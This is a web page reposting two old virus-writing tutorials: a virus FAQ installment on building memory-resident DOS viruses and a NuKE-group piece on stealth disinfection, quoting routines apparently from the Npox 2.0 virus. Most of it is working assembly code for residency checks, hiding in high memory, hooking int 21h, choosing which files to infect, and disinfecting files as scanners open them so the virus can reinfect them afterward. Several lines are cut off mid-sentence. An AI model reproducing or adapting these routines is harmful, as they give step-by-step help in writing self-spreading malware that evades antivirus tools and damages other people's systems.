> >

Frequently Asked Questions About Computer Viruses - Part 3

There are several different types of installation check. The most common
is a call to int 21h with AX set to a certain value. If certain registers
are returned set to certain values, then the virus is resident. For
example, a sample residency check would be:

mov ax,9999h ; residency check
int 21h
cmp bx,9999h ; returns bx=9999h if installed
jz already_installed

When choosing a value for ax in the installation check, make sure it does
not conflict with an existing function unless the function is harmless.
For example, do not use display string (ah=9) unless you wish to have
unpredictable results when the virus is first being installed. An example
of a harmless function is get DOS version (ah=30h) or flush keyboard buffer
(ah=0bh). Of course, if the check conflicts with a current function, make
sure it is narrow enough so no programs will have a problem with it. For
example, do not merely trap ah=30h, but trap ax=3030h or even ax=3030h and

Another method of checking for residency is to search for certain
characteristics of the virus. For example, if the virus always sets an
unused interrupt vector to point to its code, a possible residency check
would be to search the vector for the virus characteristics. For example:

xor ax,ax
mov ds,ax ; ds->interrupt table
les bx,ds:[60h*4] ; get address of interrupt 60h
; assume the virus traps this and puts its int 21h handler
; here
cmp es:bx,0FF2Eh ; search for the virus string
jmp far ptr cs:origint21

When using this method, take care to ensure that there is no possibility of
this characteristic being false when the virus is resident. In this case,
another program must not trap the int 60h vector or else the check may fail
even if the virus is already resident, thereby causing unpredictable

DOS generally loads all available memory to a program upon loading. Armed
with this knowledge, the virus can easily determine the available memory
size. Once again, the MCB structure is:

Offset Size Meaning
------ ------- -------
0 BYTE 'M' or 'Z'
1 WORD Process ID (PSP of block's owner)
3 WORD Size in paragraphs
5 3 BYTES Reserved (Unused)
8 8 BYTES DOS 4+ uses this. Yay.

mov ax,ds ; Assume DS initially equals the segment of the PSP
dec ax
mov ds,ax ; DS = MCB of infected program
mov bx,ds:[3] ; Get MCB size (total available paragraphs to program)

A simpler method of performing the same action is to use DOS's reallocate
memory function in the following manner:

mov ah,4ah ; Alter memory allocation (assume ES = PSP)
mov bx,0FFFFh ; Request a ridiculous amount of memory
int 21h ; Returns maximum available memory in BX
; This is the same value as in ds:[3]

The easiest method to allocate memory is to let DOS do the work for you.

mov ah,4ah ; Alter memory allocation (assume ES = PSP)
sub bx,(endvirus-startvirus+15)/16+1 ; Assume BX originally held total
; memory available to the program (returned by earlier
; call to int 21h/function 4ah
int 21h

mov ah,48h ; Allocate memory
mov bx,(endvirus-startvirus+15)/16
int 21h
mov es,ax ; es now holds the high memory segment

dec bx
mov byte ptr ds:[0], 'Z' ; probably not needed
mov word ptr ds:[1], 8 ; Mark DOS as owner of MCB

The purpose of marking DOS as the owner of the MCB is to prevent the
deallocation of the memory area upon termination of the carrier program.

Of course, some may prefer direct manipulation of the MCBs. This is easily
accomplished. If ds is equal to the segment of the carrier program's MCB,
then the following code will do the trick:

; Step 1) Shrink the carrier program's memory allocation
; One paragraph is added for the MCB of the memory area which the virus
; will inhabit
sub ds:[3],(endvirus-startvirus+15)/16 + 1

; Step 2) Mark the carrier program's MCB as the last in the chain
; This isn't really necessary, but it assures that the virus will not
; corrupt the memory chains
mov byte ptr ds:[0],'Z'

; Step 3) Alter the program's top of memory field in the PSP
; This preserves compatibility with COMMAND.COM and any other program
; which uses the field to determine the top of memory
sub word ptr ds:[12h],(endvirus-startvirus+15)/16 + 1

; Step 4) Calculate the first usable segment
mov bx,ds:[3] ; Get MCB size
stc ; Add one for the MCB segment
adc bx,ax ; Assume AX still equals the MCB of the carrier file
; BX now holds first usable segment. Build the MCB
; there
; Alternatively, you can use the value in ds:[12h] as the first usable
; segment:
; mov bx,ds:[12h]

; Step 5) Build the MCB
mov ds,bx ; ds holds the area to build the MCB
inc bx ; es now holds the segment of the memory area controlled
mov es,bx ; by the MCB
mov byte ptr ds:[0],'Z' ; Mark the MCB as the last in the chain
; Note: you can have more than one MCB chain
mov word ptr ds:[1],8 ; Mark DOS as the owner
mov word ptr ds:[3],(endvirus-startvirus+15)/16 ; FIll in size field

There is yet another method involving direct manipulation.

; Step 1) Shrink the carrier program's memory allocation
; Note that rounding is to the nearest 1024 bytes and there is no
; addition for an MCB
sub ds:[3],((endvirus-startvirus+1023)/1024)*64

; Step 2) Mark the carrier program's MCB as the last in the chain
mov byte ptr ds:[1],'Z'

; Step 3) Alter the program's top of memory field in the PSP
sub word ptr ds:[12h],((endvirus-startvirus+1023)/1024)*64

; Step 4) Calculate the first usable segment
mov es,word ptr ds:[12h]

; Step 5) Shrink the total memory as held in BIOS
; Memory location 0:413h holds the total system memory in K
xor ax,ax
mov ds,ax
sub ds:[413h],(endvirus-startvirus+1023)/1024 ; shrink memory size

This method is great because it is simple and short. No MCB needs to be
created because DOS will no longer allocate memory held by the virus. The
modification of the field in the BIOS memory area guarantees this.

This is ridiculously easy to do. If ES holds the high memory segment, DS
holds CS, and BP holds the delta offset, then the following code will do:

lea si,[bp+offset startvirus]
xor di,di ; destination @ 0
mov cx,(endvirus-startvirus)/2
rep movsw ; Copy away, use words for speed

There are, once again, two ways to do this; via DOS or directly. Almost
every programmer worth his salt has played with interrupt vectors at one
time or another. Via DOS:

push es ; es->high memory
pop ds ; ds->high memory
mov ax,3521h ; get old int 21h handler
int 21h ; to es:bx
mov word ptr ds:oldint21,bx ; save it
mov word ptr ds:oldint21+2,es
mov dx,offset int21 ; ds:dx->new int 21h handler in virus
mov ax,2521h ; set handler
int 21h

And direct manipulation:
xor ax,ax
mov ds,ax
lds bx,ds:[21h*4]
mov word ptr es:oldint21,bx
mov word ptr es:oldint21+2,ds
mov ds,ax
mov ds:[21h*4],offset int21
mov ds:[21h*4+2],es

Delta offset calculations are not needed since the location of the
variables is known. This is because the virus is always loaded into high
memory starting in offset 0.

The interrupt handler intercepts function calls to DOS and waylays them.
The interrupt handler typically begins with a check for a call to the
installation check. For example:

cmp ax,9999h ; installation check?
jnz not_installation_check
xchg ax,bx ; return bx = 9999h if installed
iret ; exit interrupt handler
; rest of interrupt handler goes here

With this out of the way, the virus can trap whichever DOS functions it
wishes. Generally the most effective function to trap is execute
(ax=4b00h), as the most commonly executed files will be infected. Another
function to trap, albeit requiring more work, is handle close. This will
infect on copies, viewings, patchings, etc. With some functions,
prechaining is desired; others, postchaining. Use common sense. If the
function destroys the filename pointer, then use prechaining. If the
function needs to be completed before infection can take place,
postchaining should be used. Prechaining is simple:

pushf ; simulate an int 21h call
call dword ptr cs:oldint21

; The following code ensures that the flags will be properly set upon
; return to the caller
push bp
push ax

; flags [bp+10]
; calling CS:IP [bp+6]
; flags new [bp+4]
; bp [bp+2]
; ax [bp]

mov bp, sp ; setup stack frame
mov ax, [bp+4] ; get new flags
mov [bp+10], ax; replace the old with the new

pop ax ; restore stack
pop bp

To exit the interrupt handler after prechaining, use an iret statement
rather than a retn or retf. Postchaining is even simpler:

jmp dword ptr cs:oldint21 ; this never returns to the virus int handler

When leaving the interrupt handler, make sure that the stack is not
unbalanced and that the registers were not altered. Save the registers
right after prechaining and long before postchaining.

Infection in a resident virus is essentially the same as that in a
nonresident virus. The only difference occurs when the interrupt handler
traps one of the functions used in the infection routine. For example, if
handle close is trapped, then the infection routine must replace the handle
close int 21h call with a call to the original interrupt 21h handler, a la:

call dword ptr cs:oldint21

It is also necessary to handle encryption in another manner with a resident
virus. In the nonresident virus, it was not necessary to preserve the code
at all times. However, it is desirable to keep the interrupt handler(s)
decrypted, even when infecting. Therefore, the virus should keep two
copies of itself in memory, one as code and one as data. The encryptor
should encrypt the secondary copy of the virus, thereby leaving the
interrupt handler(s) alone. This is especially important if the virus
traps other interrupts such as int 9h or int 13h.

Resident viruses can typically be divided into two categories; slow and
fast infectors. They each have their own advantages and disadvantages.

Slow infectors do not infect except in the case of a file creation. This
infector traps file creates and infects upon the closing of the file. This
type of virus infects on new file creations and copying of files. The
disadvantage is that the virus spreads slowly. This disadvantage is also
an advantage, as this may keep it undetected for a long time. Although
slow infectors sound ineffective, in reality they can work well. Infection
on file creations means that checksum/CRC virus detectors won't be able to
checksum/CRC the file until after it has been infected. Additionally,
files are often copied from one directory to another after testing. So
this method can work.

Fast infectors infect on executes. This type of virus will immediately
attack commonly used files, ensuring the continual residency of the virus
in subsequent boots. This is the primary advantage, but it is also the
primary disadvantage. The infector works so rapidly that the user may
quickly detect a discrepancy with the system, especially if the virus does
not utilise any stealth techniques.

Of course, there is no "better" way. It is a matter of personal
preference. The vast majority of viruses today are fast infectors,
although slow infectors are beginning to appear with greater frequency.

If the virus is to infect on a create or open, it first must copy the
filename to a buffer, execute the call, and save the handle. The virus
must then wait for a handle close corresponding to that handle and infect
using the filename stored in the buffer. This is the simplest method of
infecting after a handle close without delving into DOS internals.

don't despair; it will come after some time and much practise. You will
soon find that resident viruses are easier to code than nonresident
viruses. That's all for this installment, but be sure to grab the next
** Disinfecting an Infected File **
** **
** By Rock Steady/NuKE **

The BEST advantage a virus can have is `Disinfecting of Fly' as we must
try to basically hide the virus as well as possible! And nowadays Anti-
Virus programs are going crazy. As I remember at the time Npox 2.0 was
developed it would Disinfect every file opened by F-prot and Scan and
when the Scanner found nothing and closed the file to go on to the next
Npox would re-infect them. Truly can cause havoc, As a matter of fact
Frisk didn't like this as I had some `Anti Fuck-Prot' routines and he
added his own routine to open files by Int21h/6C00h, as Npox only
disinfected on Int21h/3Dh, however to make the virus disinfect on
Int21h/6C00h, doesn't require much work, simply to take the ASCIIZ
string at DS:SI and put SI into DX so we have DS:DX pointing to it,
then run this routine.

The Basic idea on disinfection is this...
-For .COM files
Restore the first 3 bytes original Bytes of the program, these
3 bytes are usually somewhere inside the virus, and then simply
remove the virus from the end of the .COM file!
We do this by jumping to the end of the COM file and subtracting
the Virus size from the File size and that new value is the
original file size!
NOTE: if you write a virus that its length changes (Polymorphic)
its wise to save the original Filesize to be infected before

-For .EXE files & Overlays
This procedure is not different, just that if you changed CS:IP &
SP:SS in the EXE header, simply restore the original values, or to
save time, simple save the Original EXE header (first 1b bytes) in
the virus and right that to the beginning as I did for Npox 2.0
Then Subtract yourself from the original size and cut it off!

I will now follow thru the Npox 2.0 virus routine Closely so you can under
stand this process.

Okay first thing you would want to do is CHECK if this is
If the virus infects COMs & EXEs, do not waste your time looking thru
other extensions, or for tight code you can waste your time and "HOPE"
the `infection' marker will fail! Meaning if the virus uses the seconds
field set to 60 (as Npox) then naturally only INFECTED files will have
a time stamp of 60! And this routine is not needed...

opening_file: call check_extension ;Check for .COM extension
jnc open_fuck2 ;YES; Jmp & Disinfect
call check_exten_exe ;Check for .EXE extension
jnc open_fuck2 ;YES; Jmp & disinfect
jmp dword ptr cs:[int21] ;Other wise goto DOS

; At this point the file has an .COM or .EXE extension, so we continue

open_fuck2: push ax ;Save AX
mov ax,3d02h ;Ready to open
call calldos21 ;Do it!
;NOTE: its important you called Int21h YOURSELF! you CAN NOT do a "Int 21h"
;command, as the virus will intercept it, and will come to this routine
;and it will continue over and over again, Never ending l
;stack gets too big, overwrite the code and the system ja
;in about 2 seconds...
jnc open_fuck1 ;No Error Continue
pop ax ;restore
iret ;Exit

open_fuck1: push bx
push cx
push dx
push ds
mov bx,ax ;BX=File handler
mov ax,5700h ;Get file TimeStamp
call calldos21

mov al,cl ;move seconds into al
or cl,1fh ;Left just seconds
dec cx ;60 Seconds
xor al,cl ;cmp
jnz opening_exit3 ;NOT 60 seconds exit!

dec cx
mov word ptr cs:[old_time],cx ;Save
mov word ptr cs:[old_date],dx ;Save Date Stamp

mov ax,4202h ;Goto the End of File
xor cx,cx
xor dx,dx
call calldos21

mov cx,dx ;Save the filesize
mov dx,ax ;we will need it later
;to subtract the virus
push cx ;size fromit...
push dx ;Save it...

Here now we get the first 3 bytes (for com) or first 1B bytes (EXE header)
in the Nuke Pox virus I save the ORIGINAL first 3 bytes of the .com at
the VERY END! Since the buffer I made was 1B hex bytes, it is able to
hold the EXE header or 3 .com bytes, anyhow the beginning of these
bytes are the last 1B bytes, since its at the end... figure it out where
you saved your 3 bytes or exe header for your virus, or use the Npox

sub dx,1Bh ;Subtract 1B bytes from
sbb cx,0 ;the filesize!
mov ax,4200h ;Now our pointer will
call calldos21 ;point to the 1B bytes
;Where the COM & EXE
;original bytes are
push cs
pop ds ;CS=DS (for exes)

mov ah,3fh ;Read them into Buffer
mov cx,1Bh ;1B bytes
mov dx,offset buffer ;to our buffer
call calldos21

humm, now we got the original bytes, all we gotta do is write them
back to the file's beginning...

xor cx,cx ;Goto Beginning of File
xor dx,dx ;
mov ax,4200h
call calldos21

mov ah,40h ;Write first three bytes
mov dx,offset buffer ;our buffer
mov cx,1Bh ;1B bytes for EXEs
cmp word ptr cs:[buffer],5A4Dh
je open_exe_jmp ;if EXE file jump
mov cx,3h ;if COM write only 3 bytes
open_exe_jmp: call calldos21

We wrote the original file's data back to place, now we need to cut the
virus off from the file, the virus is written at the end of the file,
so all we do is set our file-pointer to EOF - Virus_Size, which gives
us the original file length!

pop dx ;EOF - Virus_Size
pop cx ;to get ORIGINAL File size
sub dx,virus_size ;subtract virus size
sbb cx,0
mov ax,4200h
call calldos21

Now this is perhaps the "TRICKIEST" part, in order to "CROP" the file, at
our new ptr location, what we do it use does to crop it, by writing 0
bytes to the new location, DOS will make that new location the NEW
EoF and in result cutting off the virus and deleting its sector in the

mov ah,40h ;Write new EOF
xor cx,cx ;Zero Bytes
call calldos21 ;doit

mov cx,word ptr cs:[old_time] ;Restore file time
mov dx,word ptr cs:[old_date] ;Restore file date
mov ax,5701h
int 21h

mov ah,3eh ;Close File
call calldos21

opening_exit3: pop ds
pop dx
pop cx
pop bx
pop ax
jmp dword ptr cs:[int21] ;Return to DOS...

ahh, the file is now Disinfected, now we safely return it to DOS and DOS
may now open the file for inspection...

Rate this item
(0 votes)

Leave a comment

Please do not enter any marketing or illegal statements | කරුණාකර අලෙවිකරණ හෝ නීති විරෝධී ප්‍රකාශන ඇතුළත් නොකරන්න.

Subscribe to Weekly Email Newsletter

Joomla Extensions powered by Joobi

Articles Archive

Articles Calendar

« January 2021 »
Mon Tue Wed Thu Fri Sat Sun
        1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31
This Week
Last Week
This Month
Last Month
All days
Your IP:
2021-01-16 10:28

Video Of The Day

Go to top